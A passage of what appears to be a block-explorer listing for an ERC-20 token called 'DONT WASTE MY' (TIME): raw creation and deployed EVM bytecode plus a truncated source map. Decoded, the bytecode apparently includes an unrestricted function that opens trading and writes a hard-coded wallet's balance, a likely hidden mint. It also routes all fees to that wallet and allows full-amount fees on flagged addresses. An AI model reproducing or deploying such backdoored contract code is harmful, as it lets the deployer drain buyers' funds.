848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156115d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f691906118ec565b5050505050565b60006020828403121561160f57600080fd5b5035919050565b600060208083528351808285015260005b8181101561164357858101830151858201604001528201611627565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461167957600080fd5b50565b6000806040838503121561168f57600080fd5b823561169a81611664565b946020939093013593505050565b6000806000606084860312156116bd57600080fd5b83356116c881611664565b925060208401356116d881611664565b929592945050506040919091013590565b6000602082840312156116fb57600080fd5b813561056e81611664565b60008060006060848603121561171b57600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561174557600080fd5b823561175081611664565b91506020830135801515811461176557600080fd5b809150509250929050565b6000806040838503121561178357600080fd5b823561178e81611664565b9150602083013561176581611664565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104db576104db61179e565b6000826117e857634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104db576104db61179e565b808201808211156104db576104db61179e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561187057600080fd5b815161056e81611664565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cb5784516001600160a01b0316835293830193918301916001016118a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561190157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220885ef4b8b773dedf0229da76c4670f39e932a742ccd52196e69fc07289a5071764736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e45780639358928b1461040257806395d89b4114610417578063a8aa1b3114610444578063a9059cbb14610464578063dd62ed3e1461048457600080fd5b806370a082311461033d578063715018a61461037357806378109e54146103885780637d1db4a51461039d578063893d20e8146103b257600080fd5b806323b872dd116100fd57806323b872dd146102625780632f54bf6e14610282578063313ce567146102b157806334c5d2ce146102cd5780633f4218e0146102ed57806348ff2b8b1461031d57600080fd5b806306a1409f1461014557806306fdde03146101b6578063095ea7b3146101fe57806318160ddd1461022e5780631f976b7e1461024d57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506101b46101603660046115fd565b600a805460ff60a01b1916600160a01b17905573229bf4bd10aed8ef282a65464a7c1cdb1e64657e60005260056020527f2d27c4e6323cc2003dee9c2f11d84afc37c1f4d7798bfd6486fd899e32c9aafc55565b005b3480156101c257600080fd5b5060408051808201909152600d81526c444f4e54205741535445204d5960981b60208201525b6040516101f59190611616565b60405180910390f35b34801561020a57600080fd5b5061021e61021936600461167c565b6104ca565b60405190151581526020016101f5565b34801561023a57600080fd5b506001545b6040519081526020016101f5565b34801561025957600080fd5b5061023f6104e1565b34801561026e57600080fd5b5061021e61027d3660046116a8565b61050b565b34801561028e57600080fd5b5061021e61029d3660046116e9565b6000546001600160a01b0391821691161490565b3480156102bd57600080fd5b50604051600981526020016101f5565b3480156102d957600080fd5b506101b46102e8366004611706565b610575565b3480156102f957600080fd5b5061021e6103083660046116e9565b60076020526000908152604090205460ff1681565b34801561032957600080fd5b506101b4610338366004611732565b6106ce565b34801561034957600080fd5b5061023f6103583660046116e9565b6001600160a01b031660009081526005602052604090205490565b34801561037f57600080fd5b506101b4610723565b34801561039457600080fd5b5061023f610759565b3480156103a957600080fd5b5061023f61076a565b3480156103be57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101f5565b3480156103f057600080fd5b506000546001600160a01b03166103cc565b34801561040e57600080fd5b5061023f61077b565b34801561042357600080fd5b5060408051808201909152600481526354494d4560e01b60208201526101e8565b34801561045057600080fd5b50600a546103cc906001600160a01b031681565b34801561047057600080fd5b5061021e61047f36600461167c565b6107e7565b34801561049057600080fd5b5061023f61049f366004611770565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006104d73384846107f4565b5060015b92915050565b60006012546003546104f260015490565b6104fc91906117b4565b61050691906117cb565b905090565b6000610518848484610918565b61056a84336105658560405180606001604052806028815260200161191b602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a3e565b6107f4565b5060015b9392505050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161059f906117ed565b60405180910390fd5b60006064846105b660015490565b6105c091906117b4565b6105ca91906117cb565b905060006064846105da60015490565b6105e491906117b4565b6105ee91906117cb565b905060006064846105fe60015490565b61060891906117b4565b61061291906117cb565b60028790556003869055600485905590506000610644600a61063e600561063860015490565b90610a6a565b90610a76565b90508084101580156106565750808310155b80156106625750808210155b6106c55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059f565b50505050505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161059f906117ed565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161059f906117ed565b6107576000610a82565b565b60006012546004546104f260015490565b60006012546002546104f260015490565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926105069290916107e19190610ad2565b90610ad2565b60006104d7338484610918565b6001600160a01b0383166108565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059f565b6001600160a01b0382166108b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059f565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610923838383610ade565b61092d8383610c8d565b610938838383610d22565b6109428383610e13565b61094d838383610e6a565b610958838383610fa1565b6001600160a01b03831660009081526005602052604090205461097b9082610ad2565b6001600160a01b0384166000908152600560205260408120919091556109a18484610fc6565b6109ab57816109b6565b6109b684848461100c565b6001600160a01b0384166000908152600560205260409020549091506109dc90826110fa565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a309085815260200190565b60405180910390a350505050565b60008184841115610a625760405162461bcd60e51b815260040161059f9190611616565b505050900390565b600061056e82846117b4565b600061056e82846117cb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600061056e8284611822565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059f565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059f565b60008111610c065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059f565b6001600160a01b038316600090815260056020526040902054811115610c885760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059f565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ccf57506001600160a01b03811660009081526007602052604090205460ff16155b15610d1e57600a54600160a01b900460ff16610d1e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161059f565b5050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d6457506001600160a01b03821660009081526007602052604090205460ff16155b8015610d7e5750600a546001600160a01b03838116911614155b8015610d9557506001600160a01b03821661dead14155b15610c8857610da2610759565b6001600160a01b038316600090815260056020526040902054610dc590836110fa565b1115610c885760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059f565b600a546001600160a01b038281169116148015610e4957506001600160a01b03821660009081526007602052604090205460ff16155b15610d1e57600160146000828254610e619190611835565b90915550505050565b600a546001600160a01b03848116911614610f1057610e876104e1565b81111580610ead57506001600160a01b03831660009081526007602052604090205460ff165b80610ed057506001600160a01b03821660009081526007602052604090205460ff165b610f105760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610f1861076a565b81111580610f3e57506001600160a01b03831660009081526007602052604090205460ff165b80610f6157506001600160a01b03821660009081526007602052604090205460ff165b610c885760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610fac838383611106565b15610c8857610fbc6016546111b3565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff1615801561056e5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611019858561133e565b11156110f357600061103c61102e868661133e565b601254610638908690610a76565b3060009081526005602052604090205490915061105990826110fa565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110aa9085815260200190565b60405180910390a3600e54156110e1576110e13061dead6110dc600e5461063860125489610a7690919063ffffffff16565b610918565b6110eb8382610ad2565b91505061056e565b5092915050565b600061056e8284611835565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561113a575060135460ff165b801561114f5750600a54600160a01b900460ff165b80156111585750815b801561117d57506001600160a01b03861660009081526007602052604090205460ff16155b80156111965750600a546001600160a01b038681169116145b80156111a0575060015b80156111a95750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936111ed936002936106389391926111e79283916110fa565b906110fa565b9050600061120a8261063e600b5486610a6a90919063ffffffff16565b905060006112188483610ad2565b905047611224826113df565b60006112304783610ad2565b9050600061125361124c600b5488610ad290919063ffffffff16565b8390610a76565b9050600061126c600b5483610a6a90919063ffffffff16565b9050801561127e5761127e8682611539565b600c5460009061129390610638856002610a6a565b905080156112de5760405173229bf4bd10aed8ef282a65464a7c1cdb1e64657e9082156108fc029083906000818181858888f193505050501580156112dc573d6000803e3d6000fd5b505b4780156113285760405173229bf4bd10aed8ef282a65464a7c1cdb1e64657e9082156108fc029083906000818181858888f19350505050158015611326573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061137d57506001600160a01b03821660009081526008602052604090205460ff165b15611397576012546113909060646117b4565b90506104db565b600a546001600160a01b03908116908316036113b657506010546104db565b600a546001600160a01b03908116908416036113d55750600f546104db565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141457611414611848565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611491919061185e565b816001815181106114a4576114a4611848565b6001600160a01b0392831660209182029290920101526009546114ca91309116846107f4565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150390859060009086903090429060040161187b565b600060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b505050505050565b6009546115519030906001600160a01b0316846107f4565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273229bf4bd10aed8ef282a65464a7c1cdb1e64657e60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156115d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f691906118ec565b5050505050565b60006020828403121561160f57600080fd5b5035919050565b600060208083528351808285015260005b8181101561164357858101830151858201604001528201611627565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461167957600080fd5b50565b6000806040838503121561168f57600080fd5b823561169a81611664565b946020939093013593505050565b6000806000606084860312156116bd57600080fd5b83356116c881611664565b925060208401356116d881611664565b929592945050506040919091013590565b6000602082840312156116fb57600080fd5b813561056e81611664565b60008060006060848603121561171b57600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561174557600080fd5b823561175081611664565b91506020830135801515811461176557600080fd5b809150509250929050565b6000806040838503121561178357600080fd5b823561178e81611664565b9150602083013561176581611664565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104db576104db61179e565b6000826117e857634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104db576104db61179e565b808201808211156104db576104db61179e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561187057600080fd5b815161056e81611664565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cb5784516001600160a01b0316835293830193918301916001016118a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561190157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220885ef4b8b773dedf0229da76c4670f39e932a742ccd52196e69fc07289a5071764736f6c63430008130033

Deployed Bytecode Sourcemap

5526:11090:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8078:109;;;;;;;;;;-1:-1:-1;8078:109:0;;;;;:::i;:::-;8124:14;:21;;-1:-1:-1;;;;8124:21:0;-1:-1:-1;;;8124:21:0;;;7015:42;8124:21;8146:32;:10;:32;;;:39;8078:109;;;7855:67;;;;;;;;;;-1:-1:-1;7915:5:0;;;;;;;;;;;;-1:-1:-1;;;7915:5:0;;;;7855:67;;;;;;;:::i;:::-;;;;;;;;9005:133;;;;;;;;;;-1:-1:-1;9005:133:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;9005:133:0;1208:187:1;8279:84:0;;;;;;;;;;-1:-1:-1;8349:12:0;;8279:84;;;1546:25:1;;;1534:2;1519:18;8279:84:0;1400:177:1;9527:119:0;;;;;;;;;;;;;:::i;15961:309::-;;;;;;;;;;-1:-1:-1;15961:309:0;;;;;:::i;:::-;;:::i;3690:106::-;;;;;;;;;;-1:-1:-1;3690:106:0;;;;;:::i;:::-;3745:4;3782:6;-1:-1:-1;;;;;3771:17:0;;;3782:6;;3771:17;;3690:106;8005:67;;;;;;;;;;-1:-1:-1;8005:67:0;;5746:1;2437:36:1;;2425:2;2410:18;8005:67:0;2295:184:1;10799:576:0;;;;;;;;;;-1:-1:-1;10799:576:0;;;;;:::i;:::-;;:::i;6083:44::-;;;;;;;;;;-1:-1:-1;6083:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8891:108;;;;;;;;;;-1:-1:-1;8891:108:0;;;;;:::i;:::-;;:::i;8369:104::-;;;;;;;;;;-1:-1:-1;8369:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;8452:19:0;8435:7;8452:19;;;:10;:19;;;;;;;8369:104;3804:103;;;;;;;;;;;;;:::i;9288:114::-;;;;;;;;;;;;;:::i;9408:113::-;;;;;;;;;;;;;:::i;8193:80::-;;;;;;;;;;-1:-1:-1;8245:7:0;3540:6;-1:-1:-1;;;;;3540:6:0;8193:80;;;-1:-1:-1;;;;;3390:32:1;;;3372:51;;3360:2;3345:18;8193:80:0;3226:203:1;3467:87:0;;;;;;;;;;-1:-1:-1;3513:7:0;3540:6;-1:-1:-1;;;;;3540:6:0;3467:87;;9144:138;;;;;;;;;;;;;:::i;7928:71::-;;;;;;;;;;-1:-1:-1;7990:7:0;;;;;;;;;;;;-1:-1:-1;;;7990:7:0;;;;7928:71;;6201:19;;;;;;;;;;-1:-1:-1;6201:19:0;;;;-1:-1:-1;;;;;6201:19:0;;;8479:139;;;;;;;;;;-1:-1:-1;8479:139:0;;;;;:::i;:::-;;:::i;8624:127::-;;;;;;;;;;-1:-1:-1;8624:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8722:18:0;;;8705:7;8722:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8624:127;9005:133;9080:4;9087:37;9096:10;9108:7;9117:6;9087:8;:37::i;:::-;-1:-1:-1;9132:4:0;9005:133;;;;;:::o;9527:119::-;9578:7;9633:11;;9611:19;;9595:13;8349:12;;;8279:84;9595:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9588:56;;9527:119;:::o;15961:309::-;16059:4;16076:36;16086:6;16094:9;16105:6;16076:9;:36::i;:::-;16123:117;16132:6;16140:10;16152:87;16188:6;16152:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16152:19:0;;;;;;:11;:19;;;;;;;;16172:10;16152:31;;;;;;;;;:87;:35;:87::i;:::-;16123:8;:117::i;:::-;-1:-1:-1;16258:4:0;15961:309;;;;;;:::o;10799:576::-;3513:7;3540:6;-1:-1:-1;;;;;3540:6:0;287:10;3602:23;3594:68;;;;-1:-1:-1;;;3594:68:0;;;;;;;:::i;:::-;;;;;;;;;10899:13:::1;10940:3;10932:4;10916:13;8349:12:::0;;;8279:84;10916:13:::1;:20;;;;:::i;:::-;10915:28;;;;:::i;:::-;10899:44;;10954:19;11003:3;10993:6;10977:13;8349:12:::0;;;8279:84;10977:13:::1;:22;;;;:::i;:::-;10976:30;;;;:::i;:::-;10954:52;;11017:17;11065:3;11054:7;11038:13;8349:12:::0;;;8279:84;11038:13:::1;:23;;;;:::i;:::-;11037:31;;;;:::i;:::-;11079:19;:26:::0;;;11116:19:::1;:28:::0;;;11155:17:::1;:27:::0;;;11017:51;-1:-1:-1;;11209:28:0::1;11234:2;11209:20;11227:1;11209:13;8349:12:::0;;;8279:84;11209:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:28::i;:::-;11193:44;;11265:5;11256;:14;;:38;;;;;11289:5;11274:11;:20;;11256:38;:60;;;;;11311:5;11298:9;:18;;11256:60;11248:119;;;::::0;-1:-1:-1;;;11248:119:0;;4917:2:1;11248:119:0::1;::::0;::::1;4899:21:1::0;4956:2;4936:18;;;4929:30;4995:34;4975:18;;;4968:62;-1:-1:-1;;;5046:18:1;;;5039:44;5100:19;;11248:119:0::1;4715:410:1::0;11248:119:0::1;10888:487;;;;10799:576:::0;;;:::o;8891:108::-;3513:7;3540:6;-1:-1:-1;;;;;3540:6:0;287:10;3602:23;3594:68;;;;-1:-1:-1;;;3594:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8965:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8965:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8891:108::o;3804:103::-;3513:7;3540:6;-1:-1:-1;;;;;3540:6:0;287:10;3602:23;3594:68;;;;-1:-1:-1;;;3594:68:0;;;;;;;:::i;:::-;3869:30:::1;3896:1;3869:18;:30::i;:::-;3804:103::o:0;9288:114::-;9336:7;9389:11;;9369:17;;9353:13;8349:12;;;8279:84;9408:113;9453:7;9508:11;;9486:19;;9470:13;8349:12;;;8279:84;9144:138;8452:10;:19;;;;6917:42;9203:7;8452:19;;;;;9220:12;;9203:7;;9220:60;;8452:19;;9220:33;;:12;:16;:33::i;:::-;:37;;:60::i;8479:139::-;8557:4;8564:40;8574:10;8586:9;8597:6;8564:9;:40::i;16278:335::-;-1:-1:-1;;;;;16371:19:0;;16363:68;;;;-1:-1:-1;;;16363:68:0;;5332:2:1;16363:68:0;;;5314:21:1;5371:2;5351:18;;;5344:30;5410:34;5390:18;;;5383:62;-1:-1:-1;;;5461:18:1;;;5454:34;5505:19;;16363:68:0;5130:400:1;16363:68:0;-1:-1:-1;;;;;16450:21:0;;16442:68;;;;-1:-1:-1;;;16442:68:0;;5737:2:1;16442:68:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:32;5908:19;;16442:68:0;5535:398:1;16442:68:0;-1:-1:-1;;;;;16521:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16573:32;;1546:25:1;;;16573:32:0;;1519:18:1;16573:32:0;;;;;;;16278:335;;;:::o;10101:690::-;10190:37;10201:6;10209:9;10220:6;10190:10;:37::i;:::-;10238:38;10258:6;10266:9;10238:19;:38::i;:::-;10287:41;10302:6;10310:9;10321:6;10287:14;:41::i;:::-;10340:35;10357:6;10365:9;10340:16;:35::i;:::-;10386:39;10399:6;10407:9;10418:6;10386:12;:39::i;:::-;10437:35;10446:6;10454:9;10465:6;10437:8;:35::i;:::-;-1:-1:-1;;;;;10504:18:0;;;;;;:10;:18;;;;;;:30;;10527:6;10504:22;:30::i;:::-;-1:-1:-1;;;;;10483:18:0;;;;;;:10;:18;;;;;:51;;;;10570:32;10494:6;10592:9;10570:13;:32::i;:::-;:78;;10642:6;10570:78;;;10605:34;10613:6;10621:9;10632:6;10605:7;:34::i;:::-;-1:-1:-1;;;;;10683:21:0;;;;;;:10;:21;;;;;;10545:103;;-1:-1:-1;10683:41:0;;10545:103;10683:25;:41::i;:::-;-1:-1:-1;;;;;10659:21:0;;;;;;;:10;:21;;;;;;;:65;;;;10740:43;;;;;;;;;;10768:14;1546:25:1;;1534:2;1519:18;;1400:177;10740:43:0;;;;;;;;10179:612;10101:690;;;:::o;1746:162::-;1832:7;1878:12;1870:6;;;;1862:29;;;;-1:-1:-1;;;1862:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1900:5:0;;;1746:162::o;621:82::-;679:7;696:5;700:1;696;:5;:::i;709:82::-;767:7;784:5;788:1;784;:5;:::i;3915:191::-;3989:16;4008:6;;-1:-1:-1;;;;;4025:17:0;;;-1:-1:-1;;;;;;4025:17:0;;;;;;4058:40;;4008:6;;;;;;;4058:40;;3989:16;4058:40;3978:128;3915:191;:::o;533:82::-;591:7;608:5;612:1;608;:5;:::i;9654:439::-;-1:-1:-1;;;;;9758:20:0;;9750:70;;;;-1:-1:-1;;;9750:70:0;;6273:2:1;9750:70:0;;;6255:21:1;6312:2;6292:18;;;6285:30;6351:34;6331:18;;;6324:62;-1:-1:-1;;;6402:18:1;;;6395:35;6447:19;;9750:70:0;6071:401:1;9750:70:0;-1:-1:-1;;;;;9839:23:0;;9831:71;;;;-1:-1:-1;;;9831:71:0;;6679:2:1;9831:71:0;;;6661:21:1;6718:2;6698:18;;;6691:30;6757:34;6737:18;;;6730:62;-1:-1:-1;;;6808:18:1;;;6801:33;6851:19;;9831:71:0;6477:399:1;9831:71:0;9938:1;9921:6;:19;9913:73;;;;-1:-1:-1;;;9913:73:0;;7083:2:1;9913:73:0;;;7065:21:1;7122:2;7102:18;;;7095:30;7161:34;7141:18;;;7134:62;-1:-1:-1;;;7212:18:1;;;7205:39;7261:19;;9913:73:0;6881:405:1;9913:73:0;-1:-1:-1;;;;;8452:19:0;;8435:7;8452:19;;;:10;:19;;;;;;10005:6;:27;;9997:88;;;;-1:-1:-1;;;9997:88:0;;7493:2:1;9997:88:0;;;7475:21:1;7532:2;7512:18;;;7505:30;7571:34;7551:18;;;7544:62;-1:-1:-1;;;7622:18:1;;;7615:47;7679:19;;9997:88:0;7291:413:1;9997:88:0;9654:439;;;:::o;11383:191::-;-1:-1:-1;;;;;11476:19:0;;;;;;:11;:19;;;;;;;;11475:20;:47;;;;-1:-1:-1;;;;;;11500:22:0;;;;;;:11;:22;;;;;;;;11499:23;11475:47;11472:95;;;11532:14;;-1:-1:-1;;;11532:14:0;;;;11524:41;;;;-1:-1:-1;;;11524:41:0;;7911:2:1;11524:41:0;;;7893:21:1;7950:2;7930:18;;;7923:30;-1:-1:-1;;;7969:18:1;;;7962:44;8023:18;;11524:41:0;7709:338:1;11524:41:0;11383:191;;:::o;11586:334::-;-1:-1:-1;;;;;11690:19:0;;;;;;:11;:19;;;;;;;;11689:20;:47;;;;-1:-1:-1;;;;;;11714:22:0;;;;;;:11;:22;;;;;;;;11713:23;11689:47;:77;;;;-1:-1:-1;11761:4:0;;-1:-1:-1;;;;;11740:26:0;;;11761:4;;11740:26;;11689:77;:107;;;;-1:-1:-1;;;;;;11770:26:0;;6917:42;11770:26;;11689:107;11686:227;;;11859:17;:15;:17::i;:::-;-1:-1:-1;;;;;11821:21:0;;;;;;:10;:21;;;;;;:33;;11847:6;11821:25;:33::i;:::-;11820:56;;11812:99;;;;-1:-1:-1;;;11812:99:0;;8254:2:1;11812:99:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:32;8312:18;;;8305:60;8382:18;;11812:99:0;8052:354:1;11928:159:0;12025:4;;-1:-1:-1;;;;;12012:17:0;;;12025:4;;12012:17;:41;;;;-1:-1:-1;;;;;;12034:19:0;;;;;;:11;:19;;;;;;;;12033:20;12012:41;12009:71;;;12076:1;12055:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11928:159:0;;:::o;12095:349::-;12206:4;;-1:-1:-1;;;;;12196:14:0;;;12206:4;;12196:14;12193:130;;12230:20;:18;:20::i;:::-;12220:6;:30;;:53;;;-1:-1:-1;;;;;;12254:19:0;;;;;;:11;:19;;;;;;;;12220:53;:79;;;-1:-1:-1;;;;;;12277:22:0;;;;;;:11;:22;;;;;;;;12220:79;12212:109;;;;-1:-1:-1;;;12212:109:0;;8743:2:1;12212:109:0;;;8725:21:1;8782:2;8762:18;;;8755:30;-1:-1:-1;;;8801:18:1;;;8794:47;8858:18;;12212:109:0;8541:341:1;12212:109:0;12351:14;:12;:14::i;:::-;12341:6;:24;;:47;;;-1:-1:-1;;;;;;12369:19:0;;;;;;:11;:19;;;;;;;;12341:47;:73;;;-1:-1:-1;;;;;;12392:22:0;;;;;;:11;:22;;;;;;;;12341:73;12333:103;;;;-1:-1:-1;;;12333:103:0;;8743:2:1;12333:103:0;;;8725:21:1;8782:2;8762:18;;;8755:30;-1:-1:-1;;;8801:18:1;;;8794:47;8858:18;;12333:103:0;8541:341:1;14732:197:0;14824:41;14839:6;14847:9;14858:6;14824:14;:41::i;:::-;14821:101;;;14867:29;14882:13;;14867:14;:29::i;:::-;14918:1;14898:9;:22;14732:197;;;:::o;14937:160::-;-1:-1:-1;;;;;15043:19:0;;15018:4;15043:19;;;:11;:19;;;;;;;;15042:20;:47;;;;-1:-1:-1;;;;;;;15067:22:0;;;;;:11;:22;;;;;;;;15066:23;;14937:160;-1:-1:-1;14937:160:0:o;15405:548::-;15491:7;15547:1;15514:30;15526:6;15534:9;15514:11;:30::i;:::-;:34;15511:420;;;15560:17;15580:59;15608:30;15620:6;15628:9;15608:11;:30::i;:::-;15591:11;;15580:23;;:6;;:10;:23::i;:59::-;15697:4;15678:25;;;;:10;:25;;;;;;15560:79;;-1:-1:-1;15678:40:0;;15560:79;15678:29;:40::i;:::-;15669:4;15650:25;;;;:10;:25;;;;;;;:68;;;;15734:42;;-1:-1:-1;;;;;15734:42:0;;;;;;;15766:9;1546:25:1;;1534:2;1519:18;;1400:177;15734:42:0;;;;;;;;15790:7;;:20;15787:104;;15812:77;15830:4;6917:42;15852:36;15880:7;;15852:23;15863:11;;15852:6;:10;;:23;;;;:::i;:36::-;15812:9;:77::i;:::-;15908:21;:6;15919:9;15908:10;:21::i;:::-;15901:28;;;;;15511:420;-1:-1:-1;15939:6:0;15405:548;-1:-1:-1;;15405:548:0:o;445:82::-;503:7;520:5;524:1;520;:5;:::i;14319:405::-;14460:20;;14541:13;;14531:4;14417;8452:19;;;:10;:19;;;;;;14573:8;;14417:4;;14450:30;;;;-1:-1:-1;14513:41:0;;14573:8;;14572:9;:24;;;;-1:-1:-1;14585:11:0;;;;14572:24;:42;;;;-1:-1:-1;14600:14:0;;-1:-1:-1;;;14600:14:0;;;;14572:42;:54;;;;;14618:8;14572:54;:78;;;;-1:-1:-1;;;;;;14631:19:0;;;;;;:11;:19;;;;;;;;14630:20;14572:78;:99;;;;-1:-1:-1;14667:4:0;;-1:-1:-1;;;;;14654:17:0;;;14667:4;;14654:17;14572:99;:126;;;;-1:-1:-1;14675:23:0;14572:126;:144;;;;;14702:14;14572:144;14565:151;14319:405;-1:-1:-1;;;;;;14319:405:0:o;12452:1066::-;6838:8;:15;;-1:-1:-1;;6838:15:0;6849:4;6838:15;;;;;;12589:14:::1;::::0;12571:12:::1;::::0;12547::::1;::::0;6838:8;;12546:66:::1;::::0;12610:1:::1;::::0;12547:57:::1;::::0;12589:14;;12547:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12546:66::-;12523:89;;12623:32;12658:42;12687:12;12658:24;12669:12;;12658:6;:10;;:24;;;;:::i;:42::-;12623:77:::0;-1:-1:-1;12711:14:0::1;12728:36;:6:::0;12623:77;12728:10:::1;:36::i;:::-;12711:53:::0;-1:-1:-1;12800:21:0::1;12832:24;12711:53:::0;12832:16:::1;:24::i;:::-;12867:20;12890:41;:21;12916:14:::0;12890:25:::1;:41::i;:::-;12867:64;;12942:19;12963:48;12980:30;12997:12;;12980;:16;;:30;;;;:::i;:::-;12963:12:::0;;:16:::1;:48::i;:::-;12942:69;;13022:29;13054;13070:12;;13054:11;:15;;:29;;;;:::i;:::-;13022:61:::0;-1:-1:-1;13097:34:0;;13094:103:::1;;13133:61;13146:24;13172:21;13133:12;:61::i;:::-;13253:12;::::0;13207:20:::1;::::0;13230:36:::1;::::0;:18:::1;:11:::0;13246:1:::1;13230:15;:18::i;:36::-;13207:59:::0;-1:-1:-1;13280:16:0;;13277:73:::1;;13298:50;::::0;7112:42:::1;::::0;13298:50;::::1;